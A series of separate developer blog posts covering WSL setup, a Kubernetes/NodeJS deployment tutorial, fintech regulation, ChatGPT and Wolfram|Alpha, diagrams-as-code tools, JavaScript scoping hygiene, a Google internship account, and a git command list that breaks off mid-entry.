--- title: Montando um ambiente de desenvolvimento JavaScript no Windows com WSL. published: true date: 2021-11-24 00:18:27 UTC tags: wls,windows,linux canonical_url: --- ### Montando um ambiente de desenvolvimento JavaScript no Windows com WSL — parte 01 #### Instalando, configurando e personalizando o WSL — Windows Subsystem for Linux — usando o Ubuntu, Visual Studio Code, Nodejs, Git entre outros. Quero compartilhar com vocês este tutorial com algumas dicas para instalar o WSL. Percebi que a maioria dos cursos ofertados hoje em dia é feito em MAC ou Linux, são poucos baseados totalmente no Windows, e para um melhor acompanhamento nada melhor do que usarmos o Linux. Nestes casos muitos utilizam a opção de Dual Boot ou uma máquina virtual, mas com o WSL, não é necessário nenhuma destas opções, e, para quem se encontra como Windows 11 a partir da build 22000, pode usar até os aplicativos do Linux em modo gráfico. ![](https://cdn-images-1.medium.com/max/1024/1*EFRYRIs4sPbkpgy8M-uUdg.jpeg) ### Instalando o WSL e o Ubuntu Vamos usar como base o Windows 11 para instalação e configuração do WSL, mas estas mesmas configurações podem ser usadas no Windows 10 a partir da build 19041 ou superior. Caso você utilize uma versão mais antiga: [Etapas de instalação manual para versões mais antigas do WSL | Microsoft Docs](https://docs.microsoft.com/pt-br/windows/wsl/install-manual) A instalação é feita com o comando wsl --install no PowerShell ou no prompt de comando do Windows em modo administrador e reiniciando o computador. Com o botão direito do mouse, clique no botão Iniciar e em Terminal Windows (Administrador). ![](https://cdn-images-1.medium.com/max/241/1*4bSqbPkdXWm_hJeytkcENg.png) Ou clique em Iniciar e digite terminal, selecione Windows Terminal na aba esquerda e na aba da direita clique em Executar como administrador. ![](https://cdn-images-1.medium.com/max/761/1*lvUuJQrAsTTBD9h9F9P3Vg.png) Após a confirmação da execução como Administrador, digite o comando abaixo no terminal. {% gist https://gist.github.com/HenriqueMSimoes/3807a44d7cd242a689e35add21074bf2 %} ![](https://cdn-images-1.medium.com/max/1024/1*m4WmitxeUk_4SiR0fgz6KQ.gif) Esse comando habilitará os componentes opcionais necessários, baixará o kernel mais recente do Linux, definirá o WSL 2 como padrão e instalará o Ubuntu. _Você precisará reiniciar o computador durante esse processo de instalação._ Depois que o processo de instalação da distribuição do Linux com o WSL for concluída, reinicie o computador para finalizar a instalação e configuração do usuário no Ubuntu. Caso o terminal do Linux não abra logo após a reinicialização do Windows, será necessário efetuar o download e instalação manual pela Windows Store. ![](https://cdn-images-1.medium.com/proxy/1*ZCOX_cRlz3q1Bo40YNB-AQ.png) Escolha a distro de sua preferência, e faça a instalação. Depois de instalado é preciso abrir o terminal para que ele conclua a instalação criando seu usuário e senha para o Linux. **O usuário e senha pode ser diferente do que você usa no Windows.** Na primeira vez que a distribuição do Linux for iniciada, uma janela de console será aberta e será solicitado que você aguarde para que os arquivos sejam instalados e solicitando a criação de um usuário ![](https://cdn-images-1.medium.com/max/978/1*DrrdiP0XLp6qsmY0-nHouA.gif) Depois de criar um Nome de Usuário e uma Senha, a conta será o usuário padrão para a distribuição e será conectada automaticamente ao iniciar. Essa conta será considerada o administrador do Linux, com a capacidade de executar comandos administrativos sudo (Super Usuário). Após a criação do usuário é recomendando a atualização do Ubuntu Sempre atualize regularmente seus pacotes usando o gerenciador de pacotes para Ubuntu, use o comando: {% gist https://gist.github.com/HenriqueMSimoes/b3c6558b6ae985a6c2104f1a113bc85c %} ![](https://cdn-images-1.medium.com/max/978/1*-5qcfhxNklIywHdLqk63qA.gif) Com isso finalizamos a instalação do WSL e do Linux, daremos continuidade com as demais instalações e configurações nos próximos posts. {% gist https://gist.github.com/HenriqueMSimoes/2f7bbe8ecb61abe7245193a14b6af001 %} **Concluindo** Espero que você tenha conseguido acompanhar até o fim desta primeira etapa, em caso de dúvidas deixe sua pergunta nos comentários ou me [procure no LinkedIn](https://www.linkedin.com/in/henrique-simoes/). Abraço! [Segunda](https://dev.to/henriquemsimoes/montando-um-ambiente-de-desenvolvimento-javascript-no-windows-com-wsl-parte-02-375c) parte do tutorial. [Terceira](https://dev.to/henriquemsimoes/montando-um-ambiente-de-desenvolvimento-javascript-no-windows-com-wsl-parte-03-1nco) parte do tutorial. [Quarta](https://dev.to/henriquemsimoes/montando-um-ambiente-de-desenvolvimento-javascript-no-windows-com-wsl-parte-04-443g) parte do tutorial.
henriquemsimoes
1,359,636
Build and Deploy NodeJS App On Kubernetes from Scratch
🚀 Whenever we build our applications, Initially we do not care about writing scalable or Non-SPOF...
0
2023-02-09T15:11:49
https://dev.to/lovepreetsingh/build-nodejs-app-on-kubernetes-from-scratch-66g
kubernetes, node, javascript, webdev
🚀 Whenever we build our applications, Initially we do not care about writing scalable or Non-SPOF (Single point of failure) Applications. But It is always a good practice to think about the Design, Scalability and Availability of your WebApp. To Handle Scalability we have many techniques like Microservices, Deploying multiple instances using Docker and using Load Balancers. ![Docker Containers meme](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/e7cmvq4xmeii62as4fu5.png) 😅 Yes, You read it right. Containerizing your app alone is not sufficient, It needs more than that. Container Management is one of the main task. This is where Kubernetes comes, Kubernetes does automate the container management, deployment and scaling our apps in a broader way. ## 📍 Containers Containers is a kind of way to package all of your app with dependencies so that It can run the app independent of the platform. 🥲 If it is not clear, Don't worry you will catch up soon when you will go ahead in this Blog. 🙂 Node:- Follow this [Repo](https://github.com/AlphaDecodeX/nodejs_kubernetes_blog) for code. - Our Dockerfile looks like this:- ```DOCKER #Getting node image FROM node:13-alpine #setting up your working directory WORKDIR /app #copying package json files COPY package.json package-lock.json ./ #running npm inside the docker container and installing dependencies RUN npm install --production #copying everything into the docker environment COPY . . #exposing port EXPOSE 3000 #running node app on port 3000 CMD node index.js ``` 🫣 Just one thing here to point out is that Docker build its file layer by layer. Each line in the Dockerfile is represented as a layer over the other. So that next time when you'll build the Dockerfile, then it would take only the changes. ![Dockerfile](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/l4u420h5jp4sllqfd8f2.png) ## 📝 Commands - Run **_docker build -t (your_dockerhub_name)/node-app ._** command to build the image. - To Run the container:- Run command **_docker run --rm -d -p 3000:3000 (your_dockerhub_name)/node-app_** to run docker container in the background. Now, container must be running and check localhost:3000 to view your app. - 🚀 (your_dockerhub_name) refers to the name that you used or is showing on your Docker Desktop Dashboard after logging in. - 📍 Note:- If you want to run elsewhere or share with others, You need to register it first. To Push your image to Docker IO run the command **_docker push (your_docker_name)/node-app_** ## 🧑‍💻 Kubernetes It is a Container orchestration tool which does manage, deploy and scale the containers. To create Kubernetes clusters you can use Digital Ocean, Amazon Web Services etc. ✈️ We will use KubeCTL to interact with Kubernetes. You can read more about Kubernetes BTS working [here](https://dev.to/lovepreetsingh/kubernetes-whats-whys-and-hows-of-kubernetes-with-demonstration-28dn). 😎 Now, to demonstrate the Kubernetes deployment on localhost, we will use minikube which mimics the behaviour of Kubernetes mentioned in the [Kubernetes BTS Working](https://dev.to/lovepreetsingh/kubernetes-whats-whys-and-hows-of-kubernetes-with-demonstration-28dn). ## 😊 Follow the steps - Run Commands ```BASH curl -LO https://storage.googleapis.com/minikube/releases/latest/minikube-darwin-arm64 sudo install minikube-darwin-arm64 /usr/local/bin/minikube ``` - Before Starting MiniKube, Open your Docker Desktop to run the Docker in the background. If minikube fails to start then Kindly install VM from [here](https://minikube.sigs.k8s.io/docs/drivers/). - After all that, Run the command:- ```BASH minikube start ``` - Now, Run the command ```BASH kubectl create deployment node-app --image=(your_dockerhub_name)/node-app ``` Note:- Run **_kubectl describe deployment node-app_** to see the status of your image running - Type the following command to see the pod status ![Kubernetes Pod Status Command](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/e3up1kb97dj8x9job72k.png) - Now, Run the following commands to forward your port ![Kubectl port forwarding](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lap2tt0lyj5j8b9lg5pn.png) It will forward the request at 9000 port to the pod running at 3000. - Now, If you curl or request on 9000 port You will get the response. ![Kubectl minicube](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/62l4c469rxy8ocnipvbf.png) --- 🥳 You did it. That was it for today. We wrote this blog taking beginners into the count. Now further we can explore How to run Kubernetes Pods on AWS, Digital ocean or any other cloud Provider. 🚀 Remember, Cloud is nothing but someone else's machine running at some location of the world. So, deployment of docker image in the pod will follow the same process technically on any cloud provider. Try by yourself, and let us know in the comments.
lovepreetsingh
1,359,710
An Overview Of The Regulatory Structure For Fintech Companies In The United States And Europe
The fintech industry has seen rapid growth in recent years, with companies offering innovative...
0
2023-02-09T15:54:29
https://dev.to/__johnbruno/an-overview-of-the-regulatory-structure-for-fintech-companies-in-the-united-states-and-europe-ibd
technicalwriting, writing
The fintech industry has seen rapid growth in recent years, with companies offering innovative solutions for financial services. However, with this growth comes the need for regulatory oversight to ensure the safety and security of consumers and the financial system. Throughout this article, I will present an overview of the regulatory landscape for fintech companies in the United States and Europe. In the US, the regulatory landscape for fintech companies is complex and varies by state. The primary federal regulator for fintech companies is the Consumer Financial Protection Bureau (CFPB), which is responsible for enforcing consumer protection laws and regulations. The Federal Reserve and the Office of the Comptroller of the Currency (OCC) also regulate fintech companies, particularly those that provide banking services. Additionally, the Securities and Exchange Commission (SEC) and the Commodity Futures Trading Commission (CFTC) regulate fintech companies that deal in securities and commodities. In Europe, the regulatory landscape for fintech companies is also complex, with different regulations for different fintech services. The European Banking Authority (EBA) is responsible for developing regulatory technical standards for payment services and electronic money. While the European Securities and Markets Authority (ESMA) is responsible for securities markets. The General Data Protection Regulation (GDPR) also applies to fintech companies, as it sets out strict rules for protecting personal data. One of the key differences between the US and the EU is the regulatory sandbox concept. A regulatory sandbox is a framework for testing new fintech products and services under the guidance and supervision of regulators. The UK was one of the first countries to establish a regulatory sandbox and many other countries like Singapore, Australia, and Malaysia have followed suit. The US takes a more state-by-state approach, with only a few states having a regulatory sandbox. In conclusion, the regulatory landscape for fintech companies in the US and Europe is complex and constantly evolving. Fintech companies must navigate a variety of regulations and oversight from different agencies and regulators. Fintech companies need to stay informed about the latest rules and work closely with regulators to ensure compliance and protect consumers.
__johnbruno
1,359,736
What technologies to use for a scalable backend & SEO friendly.
I have a tour booking web app made on Vanilla JS. As the project is working well, now my priority is...
0
2023-02-09T16:47:58
https://dev.to/javikeziah/what-sdk-should-i-use-for-a-scalable-backend-seo-friendly-3opl
I have a tour booking web app made on Vanilla JS. As the project is working well, now my priority is to make it super scalable. For now, the info about the activity is static. My plan is to add a scalable backend, so the guides can create their own tours, change the info, upload the images, etc. The website needs to have: - Static site generation (most of the users come from SEO). That's why React is not an option. - Scalable Backend. The only programming language I know is JS, but I am able to learn whatever I need to. This is the project: https://freetourmilan.net/ Any idea of what technologies could I use for this purpose? I will be thankful for any suggestion that you can give me.
javikeziah
1,359,761
Stephen Wolfram, Wolfram|Alpha + ChatGPT
Why Should I care? If you want to skip to the meat, jump to 'Today', you might want to...
0
2023-02-09T18:43:17
https://dev.to/mbkaleb/stephen-wolfram-wolframalpha-chatgpt-4i3e
ai, chatgpt, wolframalpha, computerscience
## Why Should I care? If you want to skip to the meat, jump to 'Today', you might want to read the 'Wolfram|Alpha' section as well. ## Young Wolfram At the age of 15 he began research in applied quantum field theory and particle physics. He went on to get published in 4 separate, professional scientific journals. By the age of 18 he wrote 10 academic, pier reviewed papers relating to his field of study. To say the least he was a prodigy. ## CEO of Wolfram Research Steven Wolfram is a physicist turned software genius. At the age of 24 he dropped the academia of particle physics for the school of Natural Sciences. His new field of study was cellular automata with computer simulations. Once he left academia in 1987 he founded Wolfram Research, Inc. They launched Wolfram Alpha in 2009. ## Wolfram|Alpha To keep this short Wolfram|Alpha is a computation model + database. It's goal is to generate logical computed answers from built-in data, algorithms and methods. The difference between this and chatGPT is there is no input to the data from users. The output of W|A is intended to be dry, factual data. Its purpose is to replace search engines and become a more effective way to access un-opinionated information. _Interesting fact: Wolfram|Alpha is used by Siri as part of its knowledge base._ ## Today ### #### ChatGPT and Wolfram|Alpha Stephen W. compares cGPT to "human like" computation wherein its understanding of logic comes purely from language. He posits this as a flaw. The logic accuracy of ChatGPT is limited not only by its textual training data, reinforcement training, but also by its generative token and probabilistic choices. Wolfram compares this to a human without scientific and mathematical skills. In his paper on the subject we see a few examples of how chatGPT fails on basic logic-based questions. It responds in a convincing essay style response, while the answers are completely wrong. One question to cGPT was: "What is 3 to the power of 73?" ChatGPT: "3 to the power of 73 is approximately 14,091,714,236..." + some essay about the response The correct integer is ~67.58 decillion, chatGPT was completely wrong. _*Wolfram responds with the correct exact integer_ It's here that the concept is clear, combine the language model of ChatGPT with the super-computation of Wolfram|Alpha. The crisp, precise nature of W|A logic, responses and the combination of cGPTs language based generative text might be the next step toward AGI. If you have some patience I would recommend you read the paper from Wolfram himself. He has a slight ego you have to read around, however. ## Implementation Some projects have already integrated some generative text (chatGPT) and answer engines (Wolfram|Alpha) [Hugging Face](https://huggingface.co/spaces/JavaFXpert/Chat-GPT-LangChain) Though the generative response is a bit _light_, and slow. I would say it's more a display of the limit of chatGPT or the LangChain API used to combine the AI models. --- ## Sources [Wikipedia/Stephen_Wolfram] (https://en.wikipedia.org/wiki/Stephen_Wolfram) [About Wolfram|Alpha](https://www.wolframalpha.com/about) [Steven Wolfram Publications](https://writings.stephenwolfram.com/2023/01/wolframalpha-as-the-way-to-bring-computational-knowledge-superpowers-to-chatgpt/) [Siri and Wolfram|Alpha](https://www.siriuserguide.com/what-is-wolfram-alpha/) [Stephen Wolfram: "Wolfram|Alpha as the Way to Bring Computational Knowledge Superpowers to ChatGPT"](https://writings.stephenwolfram.com/2023/01/wolframalpha-as-the-way-to-bring-computational-knowledge-superpowers-to-chatgpt/)
mbkaleb
1,359,776
Top 7 diagrams as code tools for software architecture
⚡ Tl;dr Software architecture tools can be categorized into three groups, modelling...
0
2023-02-09T18:06:14
https://blog.icepanel.io/2023/02/07/top-7-diagrams-as-code-tools-for-software-architecture/
architecture, tooling, diagrams
## ⚡ Tl;dr - Software architecture tools can be categorized into three groups, modelling tools, diagrams as code and diagramming tools. - Diagrams as code tools are suited for long-term documentation as they can be checked into source control with version history. ## 🚀 Let’s kick-off Diagramming software architecture provides several benefits to how we communicate complexity. Clear system designs give engineering teams an enhanced understanding of the architecture and plan for future development whilst identifying potential issues. Diagrams as code involve writing your model objects, relationships and diagrams using a markup language which can be checked into source control. These tools often include auto-layout capabilities for automatically drawing diagrams. ## 1️⃣ Structurizr [Structurizr](https://structurizr.com) builds upon "diagrams as code", allowing you to create multiple diagrams from a single model using a number of tools and programming languages. Free and open source with a paid web platform. Best for technical people who want to use the C4 model with a DSL and check it into source control. It includes features such as: - [Apache License 2.0](https://choosealicense.com/licenses/apache-2.0) - Diagrams as code to draw diagrams using the Structurizr DSL. - Stored in source control to be where the engineering team is. - Designed to support C4 Model. - Architectural Decision Records in a documentation tool. ![Structurizr screenshot!](https://assets.icepanel.io/blog/top-7-diagrams-as-code-tools-for-software-architecture/structurizr.png "Structurizr screenshot") ## 2️⃣ PlantUML [PlantUML](https://plantuml.com) is a tool that allows you to write diagrams such as sequence, object, component, usecase, class diagrams and more. Free and open source. Best for technical people who want the flexibility of creating many different diagram types and checking them into source control. It includes features such as: - [GPL 3.0 license](https://choosealicense.com/licenses/gpl-3.0) - Sequence, use-case, class, object and activity diagrams. - Component and deployment diagrams. - C4 model plugin. - Many more types of diagrams. ## 3️⃣ Terrastruct [D2](https://d2lang.com) from [Terrastruct](https://terrastruct.com) is a diagram scripting language that turns text into diagrams. Free and open source with a paid web platform. Best for developers who want to create flexible diagrams in code with auto-layout functionality. It includes features such as: - [MPL 2.0 license](https://choosealicense.com/licenses/mpl-2.0) - TALA automatic layout engine. - SQL tables, classes and sequence diagrams. - Sketch-drawn diagram mode. - Interactive tooltip and links. ![Terrastruct screenshot!](https://assets.icepanel.io/blog/top-7-diagrams-as-code-tools-for-software-architecture/terrastruct.png "Terrastruct screenshot") ## 4️⃣ Mermaid [Mermaid.js](https://mermaid.js.org) is an easy-to-use JavaScript-based diagramming and charting tool. Free and open source. Best for developers who want quickly create a range of diagram types and use GitHub to consume them. It includes features such as: - [MIT license](https://choosealicense.com/licenses/mit) - Flowchart, sequence, class, state and entity relationship diagrams. - User journey, Gantt and requirement diagrams. - Mindmaps and pie charts. - Native render preview on GitHub. ![Mermaid screenshot!](https://assets.icepanel.io/blog/top-7-diagrams-as-code-tools-for-software-architecture/mermaid.png "Mermaid screenshot") ## 5️⃣ Ilograph [Ilograph](https://www.ilograph.com) allows interactive diagrams to be drawn using YAML with auto layout, changing the view when you want to see different perspectives. Free and paid. Best for semi-technical people who want a web-based solution for visualizing diagrams written as code. It includes features such as: - Side-by-side code editing - Auto layout of diagram objects - Dynamic layout to change diagrams depending on perspective - Diagram sequences to show use cases within diagrams ![Ilograph screenshot!](https://assets.icepanel.io/blog/top-7-diagrams-as-code-tools-for-software-architecture/ilograph.png "Ilograph screenshot") ## 6️⃣ Diagrams [Diagrams](https://diagrams.mingrammer.com) allow you to draw cloud system architectures using Python code. Free and open source. Best for developers who want to draw diagrams using popular cloud provider icons and styles quickly. It includes features such as: - [MIT license](https://choosealicense.com/licenses/mit) - AWS, Azure, GCP, OpenStack, K8S and DigitalOcean icons. - Automatic layout engine. - Generic technology and programming-related icons. - Use custom local icons. ![Diagrams screenshot!](https://assets.icepanel.io/blog/top-7-diagrams-as-code-tools-for-software-architecture/diagrams.png "Diagrams screenshot") ## 7️⃣ Graphviz Graphviz is a graph visualization software for representing structural information as diagrams. Free and open source. Best for developers trying to visualize large and complex graph-based information from code. It includes features such as: - [CPL 1.0 license](https://opensource.org/licenses/cpl1.0.php) - Custom shapes and line styles. - Hyperlinks. - Style, colour and font customization. - Automatic layout engine. ## 🏁 To wrap up There are many diagrams as code tools to choose from, and it’s important to consider which is best suited for your use case. Some key things to consider. - Open source license and team maintaining the project. - Support for standards and diagram types you wish to use. - Access and learning curve for those who need to use the tool. Stay chill 🧊
icepanel
1,359,927
Hygiene is not just for macros
JavaScript has no macro system but has some surprising variable scoping problems. Why? What is macro...
0
2023-02-09T19:13:11
https://dev.to/mikesamuel/hygiene-is-not-just-for-macros-1409
languages, computerscience, javascript, algorithms
JavaScript has no macro system but has some surprising variable scoping problems. Why? What is macro hygiene and how is it a lens through which we can understand these problems and how to avoid them in future language designs? ---- Quick, what does this JavaScript do? ```js try { throw 'thrown'; } catch (e) { if (true) { var e = 'assigned in block'; } console.log('In catch:', e); } console.log('Afterwards:', e); ``` We `throw` a string, which is caught and stored as `e` in `catch (e)`. Then, there's an `if` that declares another `var e` and initializes it to `'assigned in block'`. So what gets logged? ``` In catch: assigned in block Afterwards: undefined ``` In JavaScript, `var` declarations are [*hoisted*](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting). Every `var` declaration is effectively pulled to the top of the containing `function` or module. So the above is equivalent to ```js var e; // ◀━━━━━━━━━━━━━━━━━━━━━━━━━━┓ try { // ┃ throw 'thrown'; // ┃ } catch (e) { // ┃ if (true) { // ┃ e = 'assigned in block'; // var ━┛ } console.log('In catch:', e); } console.log('Afterwards:', e); ``` The `var e` is *hoisted* to the top. Makes sense. `var` declarations are not *block scoped*; it doesn't only affect the `{`&hellip;`}` block that it appears in. (In JavaScript, if you want block scoping you use `let` or `const` declarations instead) But notice also that the `e = 'assigned in block'` was left behind. Moving the initializer would cause problems; what if it was a complex expression, and in a less predictable `if` statement? We might execute code out of order or that we shouldn't have executed at all. But because `catch (e)` introduces **another** variable `e`, the `e = 'assigned in block'` assigns a different variable than was intended. Then when `console.log('In catch', e)` happens, instead of logging `'thrown'`, it logs the `'assigned in block'` value. Finally, since the `var e` was never actually assigned, the last line logs `Afterwards: undefined`. ---- Why did this happen? Could it have been avoided? The above program is not a good program, but it's actual meaning is likely to surprise even people who have made an effort to learn JavaScript's rules. The problem here is that the JavaScript language treats names as text. This problem shows up often in languages with macro systems, ways of generating parts of the program by running code while a program is compiling or loading. [The *Hygienic macro* wikipedia page](https://en.wikipedia.org/wiki/Hygienic_macro) notes (emphasis added): > Hygienic macros are macros whose expansion is guaranteed not to cause the **accidental capture of identifiers**. What happened above seems very similar. The identifier `e` in `e = 'assigned in block'` was **accidentally captured** by the declaration in `catch (e)`. A typical way of dealing with this in languages with macros is to have a *name resolution* step where textual identifiers are matched up with declarations to remove ambiguity. After that happens, it's safe to move uses of names around and introduce new declarations; you won't accidentally break the relationship between declarations and uses that are apparent in the source code. For our code above, that renaming stage might add serial numbers to variable declarations. ```js try { throw 'thrown'; } catch (e_0) { if (true) { var e_1 = 'assigned in block'; } console.log('In catch:', e); } console.log('Afterwards:', e); ``` Here we've replaced the different textual names like `e` with *abstract names* like `e_0` to make them unambiguous. Then we can hoist declarations to the appropriate place, taking care that, when we split `var e_1 = ...`, to use `e_1` in both the original position and the hoisted position. ```js var e_1; // ◀━━━━━━━━━━━━━━━━━━━━━━━━━━┓ try { // ┃ throw 'thrown'; // ┃ } catch (e_0) { // ┃ if (true) { // ┃ e_1 = 'assigned in block'; // var ━┛ } console.log('In catch:', e); } console.log('Afterwards:', e); ``` Now that our declarations are unambiguous, and in their final places, we can resolve references by matching the remaining textual names with declarations. ```js var e_1; // ◀━━━━━━━━━━━━━━━━━━━━━━━━━━━┓ try { // ┃ throw 'thrown'; // ┃ } catch (e_0) { // ◀━━━━━━━━━━━━━━━━━━┓ ┃ if (true) { // ┃ ┃ e_1 = 'assigned in block'; // ┃ ┃ } // ┃ ┃ console.log('In catch:', e_0); // ◀━┛ ┃ } // ┃ console.log('Afterwards:', e_1); // ◀━━━┛ ``` This modified program outputs the below, which is probably closer what the original author<sup>&dagger;</sup> meant and what a code reviewer would expect it to do. ``` In catch: thrown Afterwards: assigned in block ``` &dagger; - <small>if the author wasn't intentionally writing silly programs to make a point.</small> ---- So why wasn't JavaScript designed that way? Well, JavaScript was famously [created in 10 days](https://thenewstack.io/brendan-eich-on-creating-javascript-in-10-days-and-what-hed-do-differently-today/) so there was not much time to think through `var` hoisting corner-cases. But also, the language re-used certain abstractions. JavaScript *Objects* are bags of named properties that inherit names from a prototype. *Objects* are re-used to represent [*environment records*](https://262.ecma-international.org/13.0/#sec-environment-records), bags of named variables that inherit names from an outer record. ---- But is there anything about that re-use that prevents the kind of hygiene that came in handy above? Let's consider a case where JavaScript blurs the distinction between environment records and Objects. ```js let o = { x: 'property of o' }; with (o) { var x = 'initial value for var x'; } console.log('o.x after with:', o.x); ``` Some readers may not be familiar with JavaScript's [deprecated `with` statement](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/with). It brings an object's properties into scope, so that instead of saying `o.x`, within `with (o)` you can just say `x`. Here, we create an object with a property named `x` and we use `with` to bring its properties into scope. Inside that scope, we have a `var` declaration of the same textual name. So what happens? If you're using JS engine that supports `with` (it runs in non-strict mode), then you get: ``` o.x after with: initial value for var x ``` To see why this happens, consider that program with the `var x` hoisted. ```js var x; // ◀━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓ let o = { x: 'property of o' }; // ┃ with (o) { // ┃ x = 'initial value for var x'; // var ━┛ } console.log('o.x after when:', o.x); ``` Now, it's clear that `x = ...` assigns to `o.x` because of the `with (o)`. So this is another identifier capture problem; the `with (o)` captured the identifier `x`. Could we fix this with our resolution phase? It's definitely complicated by `with`. `with` is a dynamic construct. We don't know which names `with` brings into scope until we know which properties `o` has which we might not know until we run the program. Consider a slightly more involved use of `with`. ```js let o = { /* initially empty object */ }; var x = 'global x'; var y = 'global y'; with (o) { // Repeatedly log x and y, add a property to o. // Some of these property names are the same as the // variables defined outside. for (let propertyName of ['x', 'y', 'z']) { console.log(`x=${x}, y=${y}, o=${JSON.stringify(o)}`); o[propertyName] = `property ${propertyName}`; } } ``` That program outputs the below. Note that references to `${x}` and `${y}` depend on which properties we've added to `o`; how they resolve changes from one iteration of the loop to the next. ``` x=global x, y=global y, o={} x=property x, y=global y, o={"x":"property x"} x=property x, y=property y, o={"x":"property x","y":"property y"} ``` Could JavaScript have been created with hygienic `var` and the `with` statement? It turns out, yes. Any time a [*free*](https://wiki.c2.com/?FreeVariable) name appears in a `with`, you have to rewrite it to either lookup from the object or resolve. So the program above is equivalent to the one below. But the program below has unambiguous names, and still exhibits dynamic🤔 scoping: ```js let o_0 = { /* initially empty object */ }; var x_1 = 'global x'; var y_2 = 'global y'; { // with erased to a block const withed_object_3 = o_0; function readName_4(propertyName_5, readFree_6) { if (propertyName_5 in withed_object_3) { return withed_object_3[propertyName_5] } else { return readFree_6(); } } for (let propertyName_4 of ['x', 'y', 'z']) { readName_4('console', () => globalThis.console) .log(`x=${ readName_4('x', () => x_1) }, y=${ readName_4('y', () => y_2) }, o=${ readName_4('JSON', () => globalThis.JSON) .stringify(readName_4('o', () => o_0)) }`); readName_4('o', () => o_0)[propertyName_4] = `property ${propertyName_4}`; } } ``` This doesn't look pretty, but that's because we've moved `with` machinery from the JavaScript engine into the program via program rewriting. Lots of compilers and language runtimes do things like this; some short language constructs are expressed internally in terms of more verbose ones. The important thing is that we've allowed even a program that makes use of very dynamic features to run in a hygienic manner. We could have had consistently intuitive scoping in JavaScript if only we'd had a bit more time. This matters because every JavaScript tool, from Babel to VSCode, needs to deal with these corner cases, or unintentionally change the meanings of programs, and because the JavaScript [language designers](https://tc39.es/) have to think through these corner cases, and may have to reject otherwise excellent language changes that are affected by these. Let's not make the same mistake in the next language.
mikesamuel
1,359,935
Three months as Software Engineer Intern at Google Brazil
Twenty-two people were selected to work as Software Engineer interns at Google Belo Horizonte...
0
2023-02-09T19:24:15
https://dev.to/satie_sann/three-months-as-software-engineer-intern-at-google-brazil-36nd
internship, google, jobs, work
Twenty-two people were selected to work as Software Engineer interns at Google Belo Horizonte (Brazil) for three months. A surprise that struck all of us, some believed it was a prank, others screamed of happiness. “What are the chances?” They wonder. Before talking about the experience I should explain how I found the Google internship, how I prepared and the preparation of the trip to Belo Horizonte. ## Before the internship ### Preparation to the interview I’m a computer science student at UNICAMP, University of Campinas in Brazil, and it’s very common to receive emails about the latest opportunities, so thanks to the secretary of the Institute of Computing, I was informed about the Google Internship. The opportunity was also a program for Black people communities and for people with disabilities. In the link of the registration, I also received material about tips and suggestions of a good curriculum vitae and how to perform nicely in a technical interview. ### The interview So, I sent my curriculum vitae, and watched the Google interview live and finally waited for a few weeks. Then I received the first email to schedule my first interview. It was really a short interview in brazilian portuguese, it took about 40 to 45 minutes. I received a link for the interview, met my interviewer and I explained that I was in my last year of college and I asked a few questions about him and we started the actual interview. Overall, the most important questions were (no matter the type of question): 1. How to build your data, think of your data structure 2. What kind of logic is required to make a certain condition, are there possible flaws in your first idea? 3. Consider the first and last situation in the problem (define the criteria of the limits) 4. Did you find any pattern about it? Is it possible to build a function about that? The second interview was a bit more complex, with a couple of common topics from a conde interview, mine was about probabilies, but other interns had about string manipulation and graphs. What actually matters in the interview is to discuss with the interviewer about what you understand, ask questions and figure out with the interviewer how to solve the problem together. Something interesting is that the interviewer is responsible to evaluate and help you. The person should give enough information, and answer your question to lead to a common solution. Because what actually matters working in a big tech company is communication and teamwork for problem solving. ## The Internship All of the traveling costs were covered by Google, I had to travel from Campinas to Belo Horizonte, and got a hosted at a hotel near the office. Most of the first 2 weeks were filling forms, setting up the computer and getting used to their technologies. Google's technologies despite having a lot of common languages in their services, the hard part is to get used to their own architecture, product rules and their own libraries and frameworks. Each intern got assigned to a team and received a project plan to achieve in the three months with a host and co-host. The level of detail of each project and type of presentation changes from team to team and also from the department you’re working. Our work was mostly flexible, due to the transition from the remote work from and work in the office. A couple of days were needed to go to the office, which were the most interesting, there’s a great infrastructure and great enviroment. Google’s workflow is very collaborative, I worked with my host and co-host that made much easier, not just in programming, but Google has a lot of projects available making it quite hard to understand by myself. Also, you need to document your work properly, making sure it’s easier for the internship recruiters to evaluate your work later on. The internship itself is a whole evaluation if you’re worth being a Google’s employee. But not every moment is about work, you’re able to participate in many club activities, such as soccer, volley, board games, track and even games. ## Final remarks of the Internship The experience was truly unique, and I recommend to any student to try their selective process. Not just for your career, but it’s an experience you’re able to make new friends and learn new stuff that goes beyond computing. ## Useful tips Check it out Cracking the Coding Interview book, it’s really useful to understand the main practises. To check more opportunities check [Google Careers](https://careers.google.com/).
satie_sann
1,360,250
Useful git command
Here's a list of commonly used Git commands along with their usage: git init: Initializes...
0
2023-02-11T03:09:18
https://dev.to/noyonict/useful-git-command-1679
git, webdev, development, versioncontrol
### Here's a list of commonly used Git commands along with their usage: 1. **`git init`**: Initializes a new Git repository in the current directory. 2. **`git clone <repository>`**: Clones an existing repository to your local machine. 3. **`git add <file>`**: Adds a file to the staging area, ready to be committed. 4. **`git commit -m "<message>"`**: Commits the changes in the staging area with a descriptive message. 5. **`git status`**: Shows the current status of the repository, including any changes that have been made but not yet committed. 6. **`git diff`**: Shows the differences between the current state of the repository and the last commit. 7. **`git log`**: Shows the commit history for the repository. 8. **`git branch`**: Shows the branches in the repository, and which branch you are currently on. 9. **`git branch <branch_name>`**: Creates a new branch with the specified name. 10. **`git checkout <branch_name>`**: Switches to the specified branch. 11. **`git merge <branch_name>`**: Merges the specified branch into the current branch. 12. **`git pull`**: Pulls in any changes from the remote repository to your local repository. 13. **`git push`**: Pushes any local changes to the remote repository. 14. **`git stash`**: Stashes any changes that have not yet been committed, so you can switch to a different branch without losing your work. 15. **`git stash apply`**: Applies any stashed changes to the current branch. These commands form the foundation for working with Git, and should cover most of your needs for basic version control. However, there are many more advanced Git commands and features, such as rebasing, cherry-picking, and bisecting, that you can explore as you become more proficient with the tool. ### Here are some more Git commands that you may find useful: 16. **`git rm <file>`**: Removes a file from the repository. 17. **`git mv <file> <new_file>`**: Renames a file in the repository. 18. **`git reset <file>`**: Unstages a file that has been added to the staging area. 19. **`git checkout <commit> <file>`**: Reverts a file to a specific commit. 20. **`git revert <commit>`**: Creates a new commit that undoes the changes made in a specific 